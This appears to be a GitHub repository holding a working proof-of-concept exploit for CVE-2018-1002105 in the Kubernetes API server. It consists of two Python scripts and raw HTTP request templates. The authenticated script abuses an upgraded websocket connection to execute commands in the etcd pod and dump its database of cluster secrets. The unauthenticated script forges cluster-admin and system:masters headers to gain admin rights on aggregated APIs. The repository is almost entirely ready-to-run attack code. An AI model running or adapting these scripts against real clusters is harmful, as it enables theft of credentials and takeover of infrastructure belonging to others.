├── LICENSE ├── README.md ├── poc.py ├── stage_1 ├── stage_2 ├── unauth_poc.py ├── ustage_1 └── ustage_2 /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Vincent 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2018-1002105 PoC 2 | 3 | * [Authenticated PoC](#authenticated-poc) 4 | * [Demo](#demo) 5 | * [Usage](#usage) 6 | * [Unauthenticated PoC](#unauthenticated-poc) 7 | * [Demo](#demo-1) 8 | * [Usage](#usage-1) 9 | 10 | 11 | ## Authenticated PoC 12 | Proof-of-Concept exploit for CVE-2018-1002105. The current exploit requires `create` and `get` privileges on `pods` and `pods/exec`. Support has been added for `portforward` and `attach`, which require similar permissions. 13 | 14 | The current PoC dumps the secrets from the default `etcd-kubernetes` pod. 15 | 16 | ### Demo 17 | The PoC in action: 18 | 19 | [![asciicast](https://asciinema.org/a/kubSrehAf14K7MQ9aZw2RpCYd.svg)](https://asciinema.org/a/kubSrehAf14K7MQ9aZw2RpCYd) 20 | 21 | ### Usage 22 | 23 | ```bash 24 | usage: poc.py [-h] --target TARGET --jwt TOKEN [--namespace NAMESPACE] --pod 25 | POD --method {exec,portforward,attach} 26 | [--privileged-namespace PNAMESPACE] [--privileged-pod PPOD] 27 | [--container CONTAINER] [--command COMMAND] 28 | [--filename FILENAME] 29 | 30 | PoC for CVE-2018-1002105. 31 | 32 | optional arguments: 33 | -h, --help show this help message and exit 34 | 35 | required arguments: 36 | --target TARGET, -t TARGET 37 | API server target:port 38 | --jwt TOKEN, -j TOKEN 39 | JWT token for service account 40 | --namespace NAMESPACE, -n NAMESPACE 41 | Namespace with method access 42 | --pod POD, -p POD Pod with method access 43 | --method {exec,portforward,attach}, -m {exec,portforward,attach} 44 | 45 | optional arguments: 46 | --privileged-namespace PNAMESPACE, -s PNAMESPACE 47 | Target namespace 48 | --privileged-pod PPOD, -e PPOD 49 | Target privileged pod 50 | --container CONTAINER, -c CONTAINER 51 | Target container 52 | --command COMMAND, -x COMMAND 53 | Command to execute 54 | --filename FILENAME, -f FILENAME 55 | File to save output to 56 | 57 | ``` 58 | 59 | Example: 60 | 61 | ```bash 62 | $ ./poc.py -t 10.0.2.15:6443 --jwt [token] -p [pod] -f etcd.out -m attach 63 | [*] Building pipe using attach... 64 | [+] Pipe opened :D 65 | [*] Attempting code exec on etcd-kubernetes/etcd 66 | [*] Writing output to etcd.out .... 67 | [+] Done! 68 | ``` 69 | 70 | Check for tokens: 71 | 72 | ```bash 73 | $ grep -air eyJ etcd.db 74 | ``` 75 | 76 | ## Unauthenticated PoC 77 | The unauthenticated PoC allows privilege escalation within the context of the exposed API. Depending on the functionalities of the API it might be possible to get code execution on pods. This demo currently exploits the bug to gain cluster-admin rights on the `servicecatalog.k8s.io` API. This exploit should also work for `metrics.k8s.io` or any API exposed through the aggregated layer. 78 | 79 | ### Demo 80 | The PoC in action: 81 | 82 | [![asciicast](https://asciinema.org/a/TjbO5p1JJN0dnNSSWhrcopn9e.svg)](https://asciinema.org/a/TjbO5p1JJN0dnNSSWhrcopn9e) 83 | 84 | ### Usage 85 | 86 | ```bash 87 | usage: unauth_poc.py [-h] --target TARGET [--api-base BASE] 88 | [--api-target TARGET_API] [--api-version VERSION] 89 | [--json] [--filename FILENAME] 90 | 91 | Unauthenticated PoC for CVE-2018-1002105 92 | 93 | optional arguments: 94 | -h, --help show this help message and exit 95 | 96 | required arguments: 97 | --target TARGET, -t TARGET 98 | API server target:port 99 | --api-base BASE, -b BASE 100 | Target API name i.e. "servicecatalog.k8s.io" 101 | --api-target TARGET_API, -u TARGET_API 102 | API to access i.e. "clusterservicebrokers" 103 | 104 | optional arguments: 105 | --api-version VERSION, -a VERSION 106 | API version to use i.e. "v1beta1" 107 | --json, -j Print json output 108 | --filename FILENAME, -f FILENAME 109 | File to save output to 110 | ``` 111 | 112 | Example: 113 | 114 | ```bash 115 | $ ./unauth_poc.py -t 10.0.2.15:6443 --json -f api.out 116 | [*] Building pipe ... 117 | [+] Pipe opened :D 118 | [*] Attempting to access url 119 | [+] Pipe opened :D 120 | [*] Writing output to api.out .... 121 | [+] Done! 122 | 123 | ``` 124 | -------------------------------------------------------------------------------- /poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import argparse 3 | from ssl import wrap_socket 4 | from socket import create_connection 5 | from secrets import base64, token_bytes 6 | 7 | 8 | def request_stage_1(namespace, pod, method, target, token): 9 | 10 | stage_1 = "" 11 | 12 | with open('stage_1', 'r') as stage_1_fd: 13 | stage_1 = stage_1_fd.read() 14 | 15 | return stage_1.format(namespace, pod, method, target, 16 | token).encode('utf-8') 17 | 18 | 19 | def request_stage_2(target, namespace, pod, container, command): 20 | 21 | stage_2 = "" 22 | 23 | command = f"command={'&command='.join(command.split(' '))}" 24 | 25 | with open('stage_2', 'r') as stage_2_fd: 26 | stage_2 = stage_2_fd.read() 27 | 28 | key = base64.b64encode(token_bytes(20)).decode('utf-8') 29 | 30 | return stage_2.format(namespace, pod, container, command, 31 | target, key).encode('utf-8') 32 | 33 | 34 | def run_exploit(target, stage_1, stage_2, method, filename, ppod, 35 | container): 36 | 37 | host, port = target.split(':') 38 | 39 | with create_connection((host, port)) as sock: 40 | 41 | with wrap_socket(sock) as ssock: 42 | print(f"[*] Building pipe using {method}...") 43 | ssock.send(stage_1) 44 | 45 | if b'400 Bad Request' in ssock.recv(4096): 46 | print('[+] Pipe opened :D') 47 | 48 | else: 49 | print('[-] Not sure if this went well...') 50 | 51 | print(f"[*] Attempting code exec on {ppod}/{container}") 52 | ssock.send(stage_2) 53 | 54 | if b'HTTP/1.1 101 Switching Protocols' not in ssock.recv(4096): 55 | print('[-] Exploit failed :(') 56 | 57 | return False 58 | 59 | data_incoming = True 60 | 61 | data = [] 62 | 63 | while data_incoming: 64 | data_in = ssock.recv(4096) 65 | data.append(data_in) 66 | 67 | if not data_in: 68 | data_incoming = False 69 | 70 | if filename: 71 | print(f"[*] Writing output to {filename} ....") 72 | 73 | with open(filename, 'wb+') as fd: 74 | for msg in data: 75 | fd.write(msg) 76 | 77 | print('[+] Done!') 78 | 79 | else: 80 | print(''.join(msg.decode('unicode-escape') 81 | for msg in data)) 82 | 83 | 84 | def main(): 85 | 86 | parser = argparse.ArgumentParser(description='PoC for CVE-2018-1002105.') 87 | 88 | required = parser.add_argument_group('required arguments') 89 | optional = parser.add_argument_group('optional arguments') 90 | 91 | required.add_argument('--target', '-t', dest='target', type=str, 92 | help='API server target:port', required=True) 93 | required.add_argument('--jwt', '-j', dest='token', type=str, 94 | help='JWT token for service account', required=True) 95 | required.add_argument('--namespace', '-n', dest='namespace', type=str, 96 | help='Namespace with method access', 97 | default='default') 98 | required.add_argument('--pod', '-p', dest='pod', type=str, 99 | required=True, help='Pod with method access') 100 | required.add_argument('--method', '-m', dest='method', choices=['exec', 101 | 'portforward', 'attach'], required=True) 102 | 103 | optional.add_argument('--privileged-namespace', '-s', dest='pnamespace', 104 | help='Target namespace', default='kube-system') 105 | optional.add_argument('--privileged-pod', '-e', dest='ppod', type=str, 106 | help='Target privileged pod', 107 | default='etcd-kubernetes') 108 | optional.add_argument('--container', '-c', dest='container', type=str, 109 | help='Target container', default='etcd') 110 | optional.add_argument('--command', '-x', dest='command', type=str, 111 | help='Command to execute', 112 | default='/bin/cat /var/lib/etcd/member/snap/db') 113 | optional.add_argument('--filename', '-f', dest='filename', type=str, 114 | help='File to save output to', default=False) 115 | 116 | args = parser.parse_args() 117 | 118 | if args.target.find(':') == -1: 119 | print(f"[-] invalid target {args.target}") 120 | return False 121 | 122 | stage1 = request_stage_1(args.namespace, args.pod, args.method, args.target, 123 | args.token) 124 | stage2 = request_stage_2(args.target, args.pnamespace, args.ppod, 125 | args.container, args.command) 126 | 127 | run_exploit(args.target, stage1, stage2, args.method, args.filename, 128 | args.ppod, args.container) 129 | 130 | 131 | if __name__ == '__main__': 132 | main() 133 | -------------------------------------------------------------------------------- /stage_1: -------------------------------------------------------------------------------- 1 | GET /api/v1/namespaces/{0}/pods/{1}/{2} HTTP/1.1 2 | Host: {3} 3 | Authorization: Bearer {4} 4 | Connection: upgrade 5 | Upgrade: websocket 6 | 7 | 8 | -------------------------------------------------------------------------------- /stage_2: -------------------------------------------------------------------------------- 1 | GET /exec/{0}/{1}/{2}?{3}&input=1&output=1&tty=0 HTTP/1.1 2 | Upgrade: websocket 3 | Connection: Upgrade 4 | Host: {4} 5 | Origin: http://{4} 6 | Sec-WebSocket-Key: {5} 7 | Sec-WebSocket-Version: 13 8 | sec-websocket-protocol: v4.channel.k8s.io 9 | 10 | 11 | -------------------------------------------------------------------------------- /unauth_poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import argparse 3 | from ssl import wrap_socket 4 | from json import loads, dumps 5 | from socket import create_connection 6 | 7 | 8 | def request_stage_1(base, version, target): 9 | 10 | stage_1 = "" 11 | 12 | with open('ustage_1', 'r') as stage_1_fd: 13 | stage_1 = stage_1_fd.read() 14 | 15 | return stage_1.format(base, version, target 16 | ).encode('utf-8') 17 | 18 | 19 | def request_stage_2(base, version, target_api, target): 20 | 21 | stage_2 = "" 22 | 23 | with open('ustage_2', 'r') as stage_2_fd: 24 | stage_2 = stage_2_fd.read() 25 | 26 | return stage_2.format(base, version, target_api, target, 27 | ).encode('utf-8') 28 | 29 | 30 | def read_data(ssock): 31 | 32 | data = [] 33 | data_incoming = True 34 | 35 | while data_incoming: 36 | data_in = ssock.recv(4096) 37 | 38 | if not data_in: 39 | data_incoming = False 40 | 41 | elif data_in.find(b'\n\r\n0\r\n\r\n') != -1: 42 | data_incoming = False 43 | 44 | offset_1 = data_in.find(b'{') 45 | offset_2 = data_in.find(b'}\n') 46 | 47 | if offset_1 != -1 and offset_2 != -1: 48 | data_in = data_in[offset_1-1:offset_2+1] 49 | 50 | elif offset_1 != -1: 51 | data_in = data_in[offset_1-1:] 52 | 53 | elif offset_2 != -1: 54 | data_in = data_in[:offset_2-1] 55 | 56 | data.append(data_in) 57 | 58 | return data 59 | 60 | 61 | def run_exploit(target, stage_1, stage_2, filename, json): 62 | 63 | host, port = target.split(':') 64 | 65 | with create_connection((host, port)) as sock: 66 | 67 | with wrap_socket(sock) as ssock: 68 | print('[*] Building pipe ...') 69 | ssock.send(stage_1) 70 | 71 | data_in = ssock.recv(15) 72 | 73 | if b'HTTP/1.1 200 OK' in data_in: 74 | print('[+] Pipe opened :D') 75 | read_data(ssock) 76 | 77 | else: 78 | print('[-] Not sure if this went well...') 79 | 80 | print(f"[*] Attempting to access url") 81 | 82 | ssock.send(stage_2) 83 | data_in = ssock.recv(15) 84 | 85 | if b'HTTP/1.1 200 OK' in data_in: 86 | print('[+] Pipe opened :D') 87 | 88 | data = read_data(ssock) 89 | 90 | return data 91 | 92 | 93 | def parse_output(data, json, filename): 94 | 95 | if json: 96 | j = loads(''.join(i.decode('utf-8') 97 | for i in data)) 98 | 99 | data = dumps(j, indent=4) 100 | 101 | if filename: 102 | mode = 'w+' 103 | 104 | else: 105 | mode = 'wb+' 106 | 107 | if filename: 108 | print(f"[*] Writing output to {filename} ....") 109 | 110 | with open(filename, mode) as fd: 111 | if json: 112 | fd.write(data) 113 | 114 | else: 115 | for msg in data: 116 | fd.write(msg) 117 | 118 | print('[+] Done!') 119 | 120 | else: 121 | if json: 122 | print(data) 123 | 124 | else: 125 | print(''.join(msg.decode('unicode_escape') for msg in data)) 126 | 127 | 128 | def main(): 129 | 130 | parser = argparse.ArgumentParser(description='Unauthenticated PoC for' 131 | ' CVE-2018-1002105') 132 | required = parser.add_argument_group('required arguments') 133 | optional = parser.add_argument_group('optional arguments') 134 | 135 | required.add_argument('--target', '-t', dest='target', type=str, 136 | help='API server target:port', required=True) 137 | required.add_argument('--api-base', '-b', dest='base', type=str, 138 | help='Target API name i.e. "servicecatalog.k8s.io"', 139 | default="servicecatalog.k8s.io") 140 | required.add_argument('--api-target', '-u', dest='target_api', type=str, 141 | help='API to access i.e. "clusterservicebrokers"', 142 | default="clusterservicebrokers") 143 | 144 | optional.add_argument('--api-version', '-a', dest='version', type=str, 145 | help='API version to use i.e. "v1beta1"', 146 | default="v1beta1") 147 | optional.add_argument('--json', '-j', dest='json', action='store_true', 148 | help='Print json output', default=False) 149 | optional.add_argument('--filename', '-f', dest='filename', type=str, 150 | help='File to save output to', default=False) 151 | 152 | args = parser.parse_args() 153 | 154 | if args.target.find(':') == -1: 155 | print("f[-] invalid target {args.target}") 156 | return False 157 | 158 | stage1 = request_stage_1(args.base, args.version, args.target) 159 | 160 | stage2 = request_stage_2(args.base, args.version, args.target_api, 161 | args.target) 162 | 163 | output = run_exploit(args.target, stage1, stage2, args.filename, args.json) 164 | 165 | parse_output(output, args.json, args.filename) 166 | 167 | 168 | if __name__ == '__main__': 169 | main() 170 | -------------------------------------------------------------------------------- /ustage_1: -------------------------------------------------------------------------------- 1 | GET /apis/{0}/{1}/ HTTP/1.1 2 | Host: {2} 3 | Upgrade: websocket 4 | Connection: upgrade 5 | User-Agent: kubectl/v1.12.0 (linux/amd64) kubernetes/0ed3388 6 | Accept: */* 7 | 8 | -------------------------------------------------------------------------------- /ustage_2: -------------------------------------------------------------------------------- 1 | GET /apis/{0}/{1}/{2} HTTP/1.1 2 | Host: {3} 3 | User-Agent: kubectl/v1.12.0 (linux/amd64) kubernetes/0ed3388 4 | X-Remote-User: cluster-admin 5 | X-Remote-Group: system:masters 6 | X-Remote-Group: system:authenticated 7 | 8 | --------------------------------------------------------------------------------